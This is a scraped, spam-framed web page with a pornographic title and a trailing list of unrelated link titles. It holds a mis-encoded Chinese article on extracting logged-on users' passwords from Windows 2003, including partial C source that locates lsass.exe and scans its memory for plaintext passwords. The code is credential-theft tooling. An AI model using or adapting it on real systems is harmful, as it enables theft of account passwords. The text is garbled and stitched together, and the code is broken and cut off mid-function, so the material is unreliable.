亚洲色大网站www永久网站,精品人妻一区二区三区夜夜

2.程序模擬一個(gè)登陸(使用LogonUser()就能搞定) ，因?yàn)槭褂肔ogonUser()這個(gè)API ，你要提供帳號(hào)名和對(duì)應(yīng)的正確的密碼，才可以成功，然后你就可以去搜索lsass進(jìn)程內(nèi)存。因?yàn)橹烂艽a是什么，我們就能定位到密碼是保存在什么地方。因?yàn)榈顷懹脩舻拿艽a都是保存在同一個(gè)地址或相離不遠(yuǎn)的地址中，模擬登陸和搜索，可以先定位以后登陸的用戶的密碼會(huì)大約保存在什么位置。
無論怎說，三種方法中，最穩(wěn)定，最安全的方法還是使用Gina那種方法.Hijack了winlogn一些API的方法，畢竟是改動(dòng)了系統(tǒng)的東西，對(duì)系統(tǒng)的穩(wěn)定性來說，會(huì)有考驗(yàn) ，直接搜索lsass進(jìn)程內(nèi)存的方法呢，雖說也是困難，但準(zhǔn)確性，成功率卻又是低。
下面的代碼使用的是很笨，而且很原始的搜索方法，主要是搜索Lsass內(nèi)存中"LocalSystem Remote Procedure"這個(gè)字符串，因?yàn)樵谙喈?dāng)多的測試中，密碼都是保存在有這個(gè)字符串的地址后一點(diǎn)的位置中，當(dāng)然了，很多系統(tǒng)并沒有這個(gè)字符串，或者就算有，我們得到的都是錯(cuò)誤的密碼。
代碼: //********************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: 12/15/2004
// Purpose: To Demonstrate Searching Logon User PassWord On 2003 Box ， The Method
// Used Is Pretty Unwise ， But This May Be The Only Way To RevIEw The
// Logon User"s Password On Windows 2003.
// Test PlatForm: Windows 2003
// Compiled On: VC6.0
//********************************************************************************
#include
#include
#include
#define BaseAddress 0x002b5000 // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address ， Which Causes The Result Unreliable
【如何在Windows 2003中得到登陸密碼】char Password[MAX_PATH] = ; // Store The Found Password
// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL FindPassword(DWORD PID);
int Search(char *Buffer ， const UINT nSize);
DWORD GetLsassPID();
BOOL Is2003();
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration
int main()
{
DWORD PID = 0;
printf("Windows 2003 Password Viewer V1.0 By WinEggDropnn");
if (!Is2003()) // Check Out If The Box Is 2003
{
printf("The Program Can"t Only Run On Windows 2003 Platformn");
return -1;
}
PID = GetLsassPID(); // Get The Lsass.exe PID
if (PID == 0) // Fail To Get PID If Returning Zerom
{
return -1;
}
FindPassword(PID); // Find The Password From Lsass.exe Memory
return 0;
}
// End main()
//------------------------------------------------------------------------------------
// Purpose: Search The Memory & Try To Get The Password
// Return Type: int
// Parameters:
// In: char *Buffer --> The Memory Buffer To Search
// Out: const UINT nSize --> The Size Of The Memory Buffer
// Note: The Program Tries To Locate The Magic String "LocalSystem Remote Procedure" ，
// Since The Password Is Near The Above Location ， But It"s Not Always True That
// We Will Find The Magic String ， Or Even We Find It ， The Password May Be Located
// At Some Other Place.We Only Look For Luck
//------------------------------------------------------------------------------------
int Search(char *Buffer ， const UINT nSize)
{
UINT OffSet = 0;
UINT i = 0;
UINT j = 0 ;
UINT Count = 0;
if (Buffer == NULL)
{
return -1;
}
for (i = 0 ; i < nSize ; i)
{
/* The Below Is To Find The Magic String ， Why So Complicated?That Will Thank MS.The Separation From Word To Word

如何在Windows 2003中得到登陸密碼( 二 )

推薦閱讀

股票面值為什么是1元

天涯四美是什么意思

易失性的存儲(chǔ)器是什么

蘋果11volte怎么打開蘋果11volte怎樣打開

三十而立這句話出自哪里

肩寬怎么量三圍應(yīng)該怎么量

怎樣在word中設(shè)置信紙橫線

黑白相間的詞語

鄭州電動(dòng)車黃牌和綠牌的區(qū)別

粗糧飯?jiān)趺粗谱?

生死狙擊圣光騎士怎么蓄力,《DNF》男圣騎士技能是什么

酒吧咖啡廳裝飾風(fēng)格玉林咖啡與酒吧怎么裝修

戴妃root工具下載,defy一鍵root工具

糖醋蒜放花椒大料嗎

英雄聯(lián)盟榮譽(yù)鎖定如何解除

vivo告vivi侵權(quán)案宣判：原告獲賠三倍懲罰性賠償金。